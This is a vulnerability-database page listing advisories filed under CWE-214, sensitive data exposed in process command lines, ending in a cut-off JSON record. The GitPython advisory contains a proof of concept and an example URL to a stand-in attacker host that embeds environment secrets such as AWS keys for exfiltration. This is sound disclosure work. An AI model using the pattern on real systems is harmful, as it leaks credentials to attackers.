Common Weakness Enumeration

CWE-214

Allowed

Invocation of Process Using Visible Sensitive Information

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.

52 vulnerabilities reference this CWE, most recent first.

GHSA-339Q-62WM-C39W

Vulnerability from github – Published: 2022-07-15 21:32 – Updated: 2022-09-08 14:24
VLAI
Summary
Undertow vulnerable to Denial of Service (DoS) attacks
Details

Undertow client side invocation timeout raised when calling over HTTP2, this vulnerability can allow attacker to carry out denial of service (DoS) attacks in versions less than 2.2.15 Final.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214",
      "CWE-400",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-15T21:32:13Z",
    "nvd_published_at": "2022-08-26T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Undertow client side invocation timeout raised when calling over HTTP2, this vulnerability can allow attacker to carry out denial of service (DoS) attacks in versions less than 2.2.15 Final.",
  "id": "GHSA-339q-62wm-c39w",
  "modified": "2022-09-08T14:24:12Z",
  "published": "2022-07-15T21:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3859"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/pull/1296"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/db0f5be43f8e2a4b88fbedd2eb6d5a95a29ceaa8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/e43f0ada3f4da6e8579e0020cec3cb1a81e487c2"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2021-3859"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2010378"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/UNDERTOW-1979"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221201-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undertow vulnerable to Denial of Service (DoS) attacks"
}

GHSA-4M5F-RH76-CV72

Vulnerability from github – Published: 2026-08-27 00:30 – Updated: 2026-08-27 00:30
VLAI
Details

A flaw was found in the ipa_getkeytab module of the community.general Ansible collection. The module's bind_pw parameter, used to supply the LDAP simple-bind password when retrieving a Kerberos keytab, is not declared with no_log, unlike the sibling password parameter in the same module. As a consequence, the supplied IPA/LDAP bind password is recorded in cleartext in the managed host's system journal/syslog (the module's "Invoked with" record), is included in the module's return values and verbose (-v) output, and is displayed in Automation Controller / AWX job output. The password is additionally passed on the command line to the ipa-getkeytab helper (as --bindpw ), exposing it in the process list to local users while the command runs. An attacker able to read these logs, job output, or the process table can obtain the directory bind credential, potentially compromising the accounts and objects that credential can access.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-80158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-26T23:17:20Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the ipa_getkeytab module of the community.general\nAnsible collection. The module\u0027s bind_pw parameter, used to supply the LDAP simple-bind password when retrieving a Kerberos keytab, is not declared with no_log, unlike the sibling password parameter in the same module. As a consequence, the supplied IPA/LDAP bind password is recorded in cleartext in the managed host\u0027s system journal/syslog (the module\u0027s \"Invoked with\" record), is included in the module\u0027s return values and verbose (-v) output, and is displayed in Automation Controller / AWX job output. The password is additionally passed on the command line to the ipa-getkeytab helper (as --bindpw \u003cvalue\u003e), exposing it in the process list to local users while the command runs. An attacker able to read these logs, job output, or the process table can obtain the directory bind credential, potentially compromising the accounts and objects that credential can access.",
  "id": "GHSA-4m5f-rh76-cv72",
  "modified": "2026-08-27T00:30:30Z",
  "published": "2026-08-27T00:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80158"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-80158"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2524651"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4M5M-X42P-VRWG

Vulnerability from github – Published: 2026-07-16 15:33 – Updated: 2026-07-16 15:33
VLAI
Details

An information disclosure vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client validates Ubuntu Pro APT credentials by executing /usr/lib/apt/apt-helper using the download-file command. During this process, the secret bearer token is embedded directly in the cleartext URL component passed via the command-line arguments (argv), resulting in a URL format such as https://bearer:@esm.ubuntu.com/.../. On systems utilizing a default-mounted /proc file system where process-hiding mitigations (such as hidepid) are disabled, an unprivileged local attacker can monitor system processes and read the sensitive bearer token directly from /proc/cmdline while the helper process is actively running. This leaked token can subsequently be used to gain unauthorized access to the victim's Ubuntu Pro or Expanded Security Maintenance (ESM) repositories.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-9494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-16T13:16:34Z",
    "severity": "MODERATE"
  },
  "details": "An information disclosure vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client validates Ubuntu Pro APT credentials by executing /usr/lib/apt/apt-helper using the download-file command. During this process, the secret bearer token is embedded directly in\nthe cleartext URL component passed via the command-line arguments (argv), resulting in a URL format such as https://bearer:\u003ctoken\u003e@esm.ubuntu.com/.../. On systems utilizing a default-mounted /proc file system where process-hiding mitigations (such as hidepid) are disabled, an unprivileged local attacker can\nmonitor system processes and read the sensitive bearer token directly from /proc/cmdline while the helper process is actively running. This leaked token can subsequently be used to gain unauthorized access to the victim\u0027s Ubuntu Pro or Expanded Security Maintenance (ESM) repositories.",
  "id": "GHSA-4m5m-x42p-vrwg",
  "modified": "2026-07-16T15:33:10Z",
  "published": "2026-07-16T15:33:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9494"
    },
    {
      "type": "WEB",
      "url": "https://ubuntu.com/security/CVE-2026-9494"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WW9-V6R8-V66V

Vulnerability from github – Published: 2025-11-11 09:30 – Updated: 2025-11-11 09:30
VLAI
Details

A malicious ACAP application can gain access to admin-level service account credentials used by legitimate ACAP applications, leading to potential privilege escalation of the malicious ACAP application. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-5452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T07:15:34Z",
    "severity": "MODERATE"
  },
  "details": "A malicious ACAP application can gain access to admin-level service account credentials used by legitimate ACAP applications, leading to potential privilege escalation of the malicious ACAP application. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP\u00a0application.",
  "id": "GHSA-5ww9-v6r8-v66v",
  "modified": "2025-11-11T09:30:30Z",
  "published": "2025-11-11T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5452"
    },
    {
      "type": "WEB",
      "url": "https://www.axis.com/dam/public/39/ba/8b/cve-2025-5452pdf-en-US-504212.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-672V-64M3-XH38

Vulnerability from github – Published: 2024-03-22 12:30 – Updated: 2024-03-22 12:30
VLAI
Details

Invocation of the sqlplus command with sensitive information in the command line in the mk_oracle Checkmk agent plugin before Checkmk 2.3.0b4 (beta), 2.2.0p24, 2.1.0p41 and 2.0.0 (EOL) allows the extraction of this information from the process list.

Severity
3.8 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-1742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-22T11:15:46Z",
    "severity": "LOW"
  },
  "details": "Invocation of the sqlplus command with sensitive information in the command line in the mk_oracle Checkmk agent plugin before Checkmk 2.3.0b4 (beta), 2.2.0p24, 2.1.0p41 and 2.0.0 (EOL) allows the extraction of this information from the process list.",
  "id": "GHSA-672v-64m3-xh38",
  "modified": "2024-03-22T12:30:46Z",
  "published": "2024-03-22T12:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1742"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/16234"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82J6-95MW-RC2X

Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-25 21:31
VLAI
Details

NVIDIA NemoClaw contains a vulnerability where an attacker could cause invocation of process using visible sensitive information. A successful exploit of this vulnerability might lead to information disclosure.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-65088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:17:28Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA NemoClaw contains a vulnerability where an attacker could cause\ninvocation of process using visible sensitive information. A successful exploit of this vulnerability might lead to information disclosure.",
  "id": "GHSA-82j6-95mw-rc2x",
  "modified": "2026-08-25T21:31:31Z",
  "published": "2026-08-25T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5872"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82VG-RGGX-556V

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

In openssl_encrypt (pip package openssl-encrypt) versions <= 1.4.8, the desktop GUI passes the steganography password to the CLI child process on the command line via the --stego-password argument (on both encrypt and decrypt paths) instead of via an environment variable as done for the main password. Any local user can read the steganography password from /proc//cmdline for the lifetime of the subprocess. Fixed in 1.4.9.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-81684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:20:57Z",
    "severity": "MODERATE"
  },
  "details": "In openssl_encrypt (pip package openssl-encrypt) versions \u003c= 1.4.8, the desktop GUI passes the steganography password to the CLI child process on the command line via the --stego-password argument (on both encrypt and decrypt paths) instead of via an environment variable as done for the main password. Any local user can read the steganography password from /proc/\u003cpid\u003e/cmdline for the lifetime of the subprocess. Fixed in 1.4.9.",
  "id": "GHSA-82vg-rggx-556v",
  "modified": "2026-08-27T18:32:27Z",
  "published": "2026-08-27T18:32:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-rx2c-m92f-qv6p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81684"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-information-disclosure-via-command-line"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8823-9Q64-85PJ

Vulnerability from github – Published: 2025-10-15 18:31 – Updated: 2025-10-15 18:31
VLAI
Details

A vulnerability exists in F5OS-A software that allows a highly privileged authenticated attacker to access sensitive FIPS hardware security module (HSM) information on F5 rSeries systems.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
4.1 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
5.6 (Medium)
CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-15T16:15:34Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability exists in F5OS-A software that allows a highly privileged authenticated attacker to access sensitive FIPS hardware security module (HSM) information on F5 rSeries systems.\u00a0\u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-8823-9q64-85pj",
  "modified": "2025-10-15T18:31:50Z",
  "published": "2025-10-15T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53860"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000148625"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8G4V-C2F9-P89G

Vulnerability from github – Published: 2025-04-15 03:30 – Updated: 2025-04-15 03:30
VLAI
Details

Arctera eDiscovery Platform before 10.3.2, when Enterprise Vault Collection Module is used, places a cleartext password on a command line in EVSearcher.

Severity
6.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-32987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T02:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Arctera eDiscovery Platform before 10.3.2, when Enterprise Vault Collection Module is used, places a cleartext password on a command line in EVSearcher.",
  "id": "GHSA-8g4v-c2f9-p89g",
  "modified": "2025-04-15T03:30:34Z",
  "published": "2025-04-15T03:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32987"
    },
    {
      "type": "WEB",
      "url": "https://www.veritas.com/support/en_US/security/ARC25-005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-94P4-4CQ8-9G67

Vulnerability from github – Published: 2026-07-24 21:45 – Updated: 2026-07-24 21:45
VLAI
Summary
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
Details

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

  • git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
  • git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.53"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-214"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:45:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` \u2014 reached from the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process\u0027s environment secret, written into `.git/config`, and then transmitted to the attacker\u0027s host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper\u0027s dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 # expand_vars=True -\u003e os.path.expandvars(url)\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host \u2014 the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc \u0026\u0026 cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat \u003e poc.py \u003c\u003c\u0027PYEOF\u0027\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n    def log_message(self, *a):\n        pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s):  # display the ephemeral listener port as a stable placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          # transmits the expanded URL to the attacker host\nexcept Exception:\n    pass                    # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n    print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n    print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc \u0026\u0026 ./venv/bin/python poc.py\n```\n\nExpected output (the listener\u0027s ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received   : [\u0027/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack\u0027]\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment 